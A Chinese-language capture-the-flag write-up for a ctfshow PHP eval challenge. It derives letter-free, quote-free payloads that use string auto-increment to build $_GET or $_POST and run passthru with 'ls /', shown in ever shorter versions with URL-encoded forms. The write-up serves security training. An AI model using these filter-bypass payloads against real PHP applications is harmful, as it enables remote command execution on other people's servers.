题目链接

0x1 分析

进入页面看到phpinfo php版本为7.2.34 再看到被禁用的函数disable_function

m

发现 system, exec, shell_exec等都被禁用,但没有过滤passthru

查看网络流 发现包头的cookie中有hint: ?looklook url加上?looklook=1可以得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>

这里发现过滤了除C以外的字母 除0-3以外的数字

^被过滤 用不了异或;~被过滤 用不了取反 两个引号都被过滤

0x2 exp

这里考虑自增 这里不知道是不是作者弄错了第10行中的判断条件用的是|| 所以就算长度超了107也没事 那我们先不管长度 用自增构造$_GET[1]($_GET[2])

注意因为过滤了引号 直接$a._也可以实现连接 但调试的话php版本最好也是7.2 高版本这种操作可能不行

长度不限

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$_=[]._;
$_=$_[0];
$_++;$_++;$_++;$_++; //E
$__=$_; //E
$_++;$_++; //G
$___=$_; //G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=_.$___.$__.$_;//_GET
$_=_.$_; // _GET
// $$_[1]($$_[2]));
// $_GET[1]($_GET[2])

去掉换行

1
$_=[]._;$_=$_[0];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_=_.$_;$$_[1]($$_[2]);

URL编码

1
2
// ?looklook=1&1=passthru&2=ls /
ctf_show=%24_%3D%5B%5D._%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D_.%24_%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

成功执行

m

长度<=107

如果10#中的||换成&&的话 就需要压缩我们的payload了

思路:C -> E -> G T离得比较远 可以通过C/C.C获取到NANC进而 N->T

这里可能有人会想为什么不从Array当中取出r然后到t呢 ? php对于函数名类名大小写不敏感 但是对于$_GET, $_POST这一类变量是大小写敏感的 所以构造出的$_GEt发挥不了作用

1
2
3
4
5
6
7
8
9
10
11
$C=(C/C.C)[0];	// N
$C++;$C++;$C++;$C++;$C++; // S,不直接到T 下面拼接的时候行内自增
$_=C;
$_++;$_++; // E
$C=$_.++$C; // ET
$_++; // F 与第2行逻辑相同
$_=_.++$_.$C; // _GET
$$_[0]($$_[1]);

// $C=(C/C.C)[0];$C++;$C++;$C++;$C++;$C++;$_=C;$_++;$_++;$C=$_.++$C;$_++;$_=_.++$_.$C;$$_[1]($$_[2]);
// strlen=98

更小:直接N -> O -> P -> S -> T

1
2
3
4
5
6
7
8
9
$_=(_/_._)[0];	// N
++$_; // O
$__=_.$_.$_++; // _PO
$_++;$_++;
$_=$__.++$_.++$_; // _POST
$$_[0]($$_[1]);

// $_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$_=$__.++$_.++$_;$$_[0]($$_[1]);
// strlen=80 注意这里是POST了 跟GET传参方式不同

再压缩:将_POST作为POST的参数

1
2
3
4
5
6
7
$_=(_/_._)[_];                     // N  注意这里的索引0有的php版本下也可以替换为非数字字符
++$_;
$__=$_.$_++; // PO
++$_;++$_;
$$_[$_=_.$__.++$_.++$_]($$_[_]); // $$_[_POST]($$_[_])即$_POST[]($_POST[_])
// $_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
// strlen=73 POST _=ls&_POST=passthru

删去换行 url编码后同样可以实现功能

几个压缩点:

  1. 行内自增完直接用就是新的值:$C=$_.++$C;
  2. 多字符串一行拼接$_=_.++$_.$C;
  3. 找就近字母递增,过程中有遇到符合的记录下,不每次从头开始
  4. _/_, 0/0, C/C都可以得到NAN
  5. [0], [''=='.'], [_]都有可能起到同样作用
⬆︎TOP